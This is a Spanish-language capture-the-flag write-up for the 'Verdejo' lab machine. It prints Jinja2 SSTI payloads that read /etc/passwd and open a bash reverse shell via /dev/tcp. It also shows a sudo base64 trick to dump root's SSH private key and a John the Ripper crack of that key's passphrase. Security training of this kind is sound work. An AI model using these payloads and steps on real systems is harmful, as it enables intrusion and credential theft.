> For the complete documentation index, see [llms.txt](https://shinki-organization.gitbook.io/dw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://shinki-organization.gitbook.io/dw/write-ups/quickstart/maquinas-faciles/verdejo-write-up.md).

# Verdejo write-up

## **Verificamos conexión con la máquina víctima**

<figure><img src="/files/FmWmOj1Y2alow6o0UA7x" alt=""><figcaption></figcaption></figure>

## **Realizamos un escaneo de puertos abiertos de la máquina víctima**

Utilizamos la herramienta llamada **Nmap** para realizar un escaneo de puertos abiertos en la máquina víctima con el siguiente comando:

```bash
sudo nmap -p- -sCVS --min-rate=5000 -vvv -O -Pn -n 172.17.0.2
```

<figure><img src="/files/DOjCR9AHu2xuXncbH0Ei" alt=""><figcaption></figcaption></figure>

Y encontramos el puerto 22 (SSH), el 80 (HTTP) y el 8089 (HTTP) abiertos. Analizamos la página en el puerto 80, pero no encontramos nada, ni siquiera utilizando fuzzing web. Así que analizamos el puerto 8089. Primero, ponemos la IP de la máquina víctima con el puerto 8089 (`172.17.0.2:8089`) en el navegador y vemos la siguiente página web:

<figure><img src="/files/eyCDHlbAdYs1JrgokFkY" alt=""><figcaption></figcaption></figure>

Al pulsar el botón, nos muestra un mensaje de saludo, y lo importante es que en la URL podemos ver que se está utilizando el parámetro `user`. Esto podría indicar una posible STTI si el valor del parámetro no se sanitiza adecuadamente antes de ser reflejado en la página.

**SSTI (Server-Side Template Injection)** sucede cuando un atacante puede inyectar código malicioso en una plantilla que se renderiza en el servidor. Esto puede permitir ejecutar código en el lado del servidor, como comandos de sistema o acceso a recursos sensibles.

<figure><img src="/files/XyL9CxryUbrLcpdRehVo" alt=""><figcaption></figcaption></figure>

Así que vamos a probar a poner `{{ 7 * 7 }}` en el campo de text para ver si al renderizar la plantilla nos aparece 49.

<figure><img src="/files/3qKP80zSN46HT07RHPlF" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/wLOYTdkrNt6PCEdR1Dx4" alt=""><figcaption></figcaption></figure>

Y vemos que si funciona, así que vamos a intentar poner lo siguiente para ver el fichero `/etc/passwd`:

```plaintext
{{ get_flashed_messages.__globals__.__builtins__.open("/etc/passwd").read() }}
```

<figure><img src="/files/1lSI1nQj8uCvD6IdLJQl" alt=""><figcaption></figcaption></figure>

Así que ahora vamos a explotar esta vulnerabilidad para obtener una shell inversa poniendo lo siguiente:

```plaintext
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('bash -c "bash -i >& /dev/tcp/<IP>/<Puerto> 0>&1"').read() }}
```

Así que nos ponemos en escucha con **Netcat** con el siguiente comando:

```bash
sudo nc -nlvvp 443 
```

Y ponemos el texto anterior en el campo de texto.

<figure><img src="/files/LMlxsqRuDReuRMSw1mNN" alt=""><figcaption></figcaption></figure>

Y de esta manera, ya estaríamos dentro de la máquina víctima.

<figure><img src="/files/FHo7woFWYLOsp8uLo6wJ" alt=""><figcaption></figcaption></figure>

## **Escalada de privilegios**

Una vez dentro de la máquina víctima ejecutamos el comando `sudo -l` el cual nos indica que podemos usar el binario **Base64** como usuario root sin necesidad de contraseña. Así que lo que haremos sería usarlo para obtener la clave privada del servicio SSH del usuario root. Primero creamos la variable `LFILE` dándole de valor la ruta del archivo `/root/.ssh/id_rsa` y luego lo codificaremos y descodificaremos con el binario **Base64** de la siguiente manera:

```bash
export LFILE=/root/.ssh/id_rsa
sudo base64 $LFILE | base64 -d
```

<figure><img src="/files/QkRxAQlYW4ari6XZY7cv" alt=""><figcaption></figcaption></figure>

Una vez obtenida la clave la guardamos en un archivo en nuestro ordenador y le damos solo permisos de escritura y lectura (`0600`) con el siguiente comando:

```bash
chmod 0600 id_rsa    
```

Y ahora intentamos acceder como root con el siguiente comando:

```bash
ssh -i id_rsa root@172.17.0.2
```

<figure><img src="/files/4v0XHCdpVDnRyBaqLMq0" alt=""><figcaption></figcaption></figure>

Pero nos pide una clave, así que vamos a usar la herramienta **John The Ripper** para romperla. Primero ejecutamos el siguiente comando para obtener el hash:

```bash
ssh2john id_rsa > hash.txt
```

Y ahora, ejecutamos el siguiente comando para romperla:

```bash
john --wordlist=/home/shinki/Escritorio/rockyou.txt hash.txt     
```

<figure><img src="/files/oRflNLqeNlArD4Y5dMNi" alt=""><figcaption></figcaption></figure>

Y nos indica que la contraseña de la clave es `honda1`, así que iniciamos sesión de nuevo.

<figure><img src="/files/m3fqpYSYHYoBJO5e7jug" alt=""><figcaption></figcaption></figure>

Y ya habríamos obtenido privilegios root.
